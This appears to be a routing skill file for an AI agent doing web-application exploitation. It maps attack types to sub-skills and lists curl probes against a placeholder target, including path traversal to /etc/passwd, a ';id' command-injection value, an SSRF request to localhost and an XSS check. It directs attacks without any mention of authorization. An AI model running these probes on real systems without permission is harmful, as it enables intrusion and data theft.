web

name	web
description	Web application exploitation — the primary category skill for all web-based attacks. This is a routing skill: read this first to identify the attack type, then load the appropriate specialized sub-skill for detailed procedures. Covers 11 technique areas across injection, file access, authentication, and API exploitation.
allowed-tools	Bash Read Write
metadata	{"subdomain":"execution","when_to_use":"web exploit, web application, http, https, web vulnerability, injection, web attack, web service, api, cookie, session, authentication bypass, web shell, form, parameter, query string, POST, GET, request, response, web server, apache, nginx, flask, django, express, php, java web, asp.net, ruby on rails, spring, node.js, deserialization, SQL injection, sqlmap, SSTI, template injection, SSRF, IDOR, command injection, RCE, xss, cross-site scripting, xxe, xml, lfi, path traversal, file upload, graphql","tags":"web-application, exploitation, injection","mitre_attack":"T1190, T1059, T1203"}

Web Application Exploitation — Category Overview

This is a routing skill. It helps you identify the correct attack technique, then directs you to the specialized sub-skill with full exploitation procedures.

Attack Technique Routing

Match the target's characteristics to the right sub-skill:

Sub-Skill	Covers	When to Load	Path
sqli	Union/Error/Blind/Time-based SQL injection, sqlmap	SQL database, query parameters, login forms, search, filtering	read_file("/skills/exploit/web/sqli.md")
xss	Reflected/stored/DOM XSS, bot exfiltration, CSP bypass	Client-side JS injection, bot/report URL, cookie stealing	read_file("/skills/exploit/web/xss.md")
ssti	Jinja2, Twig, Freemarker, ERB, Razor template injection	Template rendering, {{}} or ${} in output, Flask/Symfony/Java	read_file("/skills/exploit/web/ssti.md")
ssrf	Cloud metadata, internal service access, Gopher smuggling	URL fetch parameter, redirect, internal network access	read_file("/skills/exploit/web/ssrf.md")
xxe	XML entity injection, SOAP/WSDL, blind OOB	XML processing, SOAP endpoints, XML file uploads	read_file("/skills/exploit/web/xxe.md")
lfi	Path traversal, PHP wrappers, log poisoning	File path parameters, ../, include/require, file download	read_file("/skills/exploit/web/lfi.md")
command-injection	OS command injection, blind/OOB, filter bypass	System commands, ping/traceroute, exec, subprocess	read_file("/skills/exploit/web/command-injection.md")
deserialization	Java/PHP/.NET/Python deserialization RCE	Serialized objects, base64 blobs, ViewState, pickle	read_file("/skills/exploit/web/deserialization.md")
idor	Authorization bypass, ID enumeration, privilege escalation	Object references, sequential IDs, UUIDs, access control	read_file("/skills/exploit/web/idor.md")
file-upload	Webshell upload, extension/content-type bypass	File upload forms, unrestricted upload	read_file("/skills/exploit/web/file-upload.md")
graphql	Introspection, SQLi via resolvers, auth bypass	GraphQL API, /graphql endpoint, GQL queries	read_file("/skills/exploit/web/graphql.md")

Quick Detection — Which Attack Type?

Run these probes to identify which sub-skill to load:

# 1. SQL Injection — single quote error
curl -s 'https://<TARGET>/page?id=1%27' -o /dev/null -w '%{http_code}'

# 2. SSTI — math evaluation
curl -s 'https://<TARGET>/page?input={{7*7}}' | grep -o '49'

# 3. XSS — reflection check
curl -s 'https://<TARGET>/search?q=<script>test</script>' | grep '<script>test'

# 4. LFI — path traversal
curl -s 'https://<TARGET>/file?name=../../../etc/passwd' | grep 'root:'

# 5. Command Injection — command chaining
curl -s 'https://<TARGET>/ping?host=127.0.0.1;id' | grep 'uid='

# 6. SSRF — localhost access
curl -s 'https://<TARGET>/fetch?url=http://127.0.0.1/' -o ssrf_test.txt

# 7. XXE — XML acceptance
curl -s 'https://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'

# 8. GraphQL — endpoint discovery
curl -s 'https://<TARGET>/graphql' -H 'Content-Type: application/json' -d '{"query":"{ __typename }"}'

Decision Flow

Web target identified?
├── Has query parameters → Try sqli.md, then ssti.md
├── Has file/path parameters → Try lfi.md
├── Has URL/fetch parameters → Try ssrf.md
├── Has search/input reflection → Try xss.md
├── Has file upload form → Try file-upload.md
├── Accepts XML input → Try xxe.md
├── Has /graphql endpoint → Try graphql.md
├── Has ping/exec functionality → Try command-injection.md
├── Has serialized data (cookies, POST) → Try deserialization.md
├── Has object IDs in URLs → Try idor.md
└── Unknown → Run quick detection probes above

Sub-Skill Loading Rule

ALWAYS load the specialized sub-skill before executing any attack. This overview provides routing only — the sub-skills contain the actual exploitation procedures, tool commands, bypass techniques, and decision trees needed for successful exploitation.